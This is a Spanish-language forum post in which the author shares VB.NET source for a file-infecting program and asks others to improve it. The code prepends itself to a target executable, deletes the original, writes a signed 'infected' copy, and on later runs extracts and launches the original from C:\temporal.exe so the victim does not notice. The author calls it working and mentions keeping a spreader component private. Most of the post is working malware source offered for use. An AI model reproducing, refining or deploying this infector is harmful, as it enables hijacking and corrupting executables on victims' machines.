Qué tal andamos?
Bueno, hace días que llevo programando una cosilla (bla bla) y necesitaba que mi código se ejecutara en otros procesos, para ello agrego mi código al principio de un nuevo ejecutable y después el del archivo a infectar. Hasta ahí bien, pero ¿qué sucede si la víctima abre el archivo infectado? ¿Estará corrupto? Nada de eso, se ejecutará mi código. El original seguirá en el ejecutable infectado pero no correrá.
Como al inicio de la aplicación comprobamos si existe la firma en el archivo infectado miramos si es así entonces abrimos el archivo infectado y llenamos un Buffer con los datos de éste. Después, como sabemos la longitud de los datos de nuestro programa, en función de ésta seremos capaces de extraer los bytes de la aplicación original.
Funciona a la perfección. Me gustaría que me dierais vuestra opinión, no estaría de más mejorar el código.
Private Sub Infectar_EXE(ByVal Rutas As Object())
Try
Dim Ruta_Archivo As String = CType(Rutas(0), String) 'declaramos las rutas..
Dim RutaHost As String = CType(Rutas(1), String)
Dim fs As New FileStream(Ruta_Archivo, FileMode.Open, FileAccess.Read) 'abrimos nuestra copia
Dim size As Long = fs.Length 'obtenemos los datos de nuestra copia
Dim Buffer(size) As Byte 'declaramos un Buffer que tendrá como tamaño los datos de nuestra copia
Dim firma As Byte() = Encoding.Default.GetBytes("Firma") 'Preparamos la firma para escribirla/buscarla en el Buffer
fs.Read(Buffer, 0, Buffer.Length) 'escribimos en el Buffer actual los datos de la copia
fs.Close()
Kill(Ruta_Archivo) 'eliminamos la copia
fs = New FileStream(RutaHost, FileMode.Open, FileAccess.Read) 'apuntamos al archivo que se generará..
size += (fs.Length) 'obtenemos el nuevo tamaño para el Buffer (longitud de los datos de nuestro progama + long. datos del programa Host)
Dim offset As Long = size - fs.Length 'obtenemos los datos de la copia (Repetido pero necesario)
If IndexOf(Buffer, firma) = -1 Then 'Si la Firma NO ESTÁ en la copia...
Array.Resize(Buffer, size) 'Modificamos el tamaño del Buffer en función de la variable Size
fs.Read(Buffer, offset, fs.Length) 'Llenamos el Buffer
fs.Close()
Kill(RutaHost) 'Eliminamos el archivo
fs = New FileStream(RutaHost, FileMode.Create, FileAccess.Write)
fs.Write(Buffer, 0, Buffer.Length) 'Guardamos un nuevo archivo que será el nuestro Infectado
fs.Write(firma, 0, firma.Length) 'Le añadimos la Firma al final
fs.Close()
Else
'Como hemos encontrado la Firma entonces..
fs.Close()
Ejecutar_Hostage(RutaHost, Buffer, 17920, Buffer.Length - 17920) 'Generamos el archivo Original y lo ejecutamos
End If
Catch ex As Exception
MsgBox(ex.Message)
End Try
End Sub
Private Sub Ejecutar_Hostage(ByVal RutaHost As String, ByVal Buffer As Byte(), ByVal offset As Long, ByVal Count As Int32)
Dim copia_temporal As New FileStream("C:\temporal.exe", FileMode.Create, FileAccess.Write)
copia_temporal.Write(Buffer, offset, Count)
copia_temporal.Close()
If Not Process.GetCurrentProcess.MainModule.FileName.Contains("Infectar Ejecutables") Then 'Si el nombre del Archivo que se ha ejecutado
'es distinto del que usamos para la infección
Process.Start("C:\temporal.exe")
End If
End Sub
Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
FileSystem.FileCopy(Process.GetCurrentProcess.MainModule.FileName, "C:\copia.exe") 'nos copiamos en C:\
Dim Obj() As Object = {"C:\copia.exe", "C:\archivo.exe"} 'inicio un array que contendra las rutas de los archivos
Dim ThreadInfectar As New Thread(AddressOf Infectar_EXE)
ThreadInfectar.Start(Obj) 'iniciamos un nuevo hilo pasandole las rutas
End Sub
Private Function IndexOf(BuscarEnArray As Byte(), EncotrarBytes As Byte()) As Integer
'buscamos en el Buffer la Firma
Dim encoding__1 As Encoding = Encoding.GetEncoding(1252)
Dim buscar As String = encoding__1.GetString(BuscarEnArray, 0, BuscarEnArray.Length)
Dim encontrar As String = encoding__1.GetString(EncotrarBytes, 0, EncotrarBytes.Length)
Dim result As Integer = buscar.IndexOf(encontrar, StringComparison.Ordinal)
Return result
End Function
Poco tiene esto de Spreader, pero eso ya me lo guardo para mí jejeje.
Saludos.